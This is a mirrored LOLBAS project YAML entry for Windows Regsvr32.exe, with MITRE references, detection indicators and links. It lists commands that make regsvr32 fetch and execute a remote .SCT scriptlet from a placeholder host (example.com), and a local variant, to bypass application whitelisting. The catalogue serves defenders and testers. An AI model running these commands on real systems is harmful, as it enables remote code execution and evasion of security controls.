mirror of
https://github.com/LOLBAS-Project/LOLBAS
synced 2024-12-25 22:39:27 +01:00
55 lines
2.3 KiB
YAML
55 lines
2.3 KiB
YAML
---
|
|
Name: Regsvr32.exe
|
|
Description: Used by Windows to register dlls
|
|
Author: 'Oddvar Moe'
|
|
Created: 2018-05-25
|
|
Commands:
|
|
- Command: regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll
|
|
Description: Execute the specified remote .SCT script with scrobj.dll.
|
|
Usecase: Execute code from remote scriptlet, bypass Application whitelisting
|
|
Category: AWL bypass
|
|
Privileges: User
|
|
MitreID: T1117
|
|
MitreLink: https://attack.mitre.org/wiki/Technique/T1117
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
|
|
- Command: regsvr32.exe /s /u /i:file.sct scrobj.dll
|
|
Description: Execute the specified local .SCT script with scrobj.dll.
|
|
Usecase: Execute code from scriptlet, bypass Application whitelisting
|
|
Category: AWL bypass
|
|
Privileges: User
|
|
MitreID: T1117
|
|
MitreLink: https://attack.mitre.org/wiki/Technique/T1117
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
|
|
- Command: regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll
|
|
Description: Execute the specified remote .SCT script with scrobj.dll.
|
|
Usecase: Execute code from remote scriptlet, bypass Application whitelisting
|
|
Category: Execute
|
|
Privileges: User
|
|
MitreID: T1117
|
|
MitreLink: https://attack.mitre.org/wiki/Technique/T1117
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
|
|
- Command: regsvr32.exe /s /u /i:file.sct scrobj.dll
|
|
Description: Execute the specified local .SCT script with scrobj.dll.
|
|
Usecase: Execute code from scriptlet, bypass Application whitelisting
|
|
Category: Execute
|
|
Privileges: User
|
|
MitreID: T1117
|
|
MitreLink: https://attack.mitre.org/wiki/Technique/T1117
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
|
|
Full_Path:
|
|
- Path: C:\Windows\System32\regsvr32.exe
|
|
- Path: C:\Windows\SysWOW64\regsvr32.exe
|
|
Code_Sample:
|
|
- Code:
|
|
Detection:
|
|
- IOC: regsvr32.exe getting files from Internet
|
|
- IOC: regsvr32.exe executing scriptlet files
|
|
Resources:
|
|
- Link: https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/
|
|
- Link: https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/
|
|
- Link: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1117/T1117.md
|
|
Acknowledgement:
|
|
- Person: Casey Smith
|
|
Handle: '@subtee'
|
|
---
|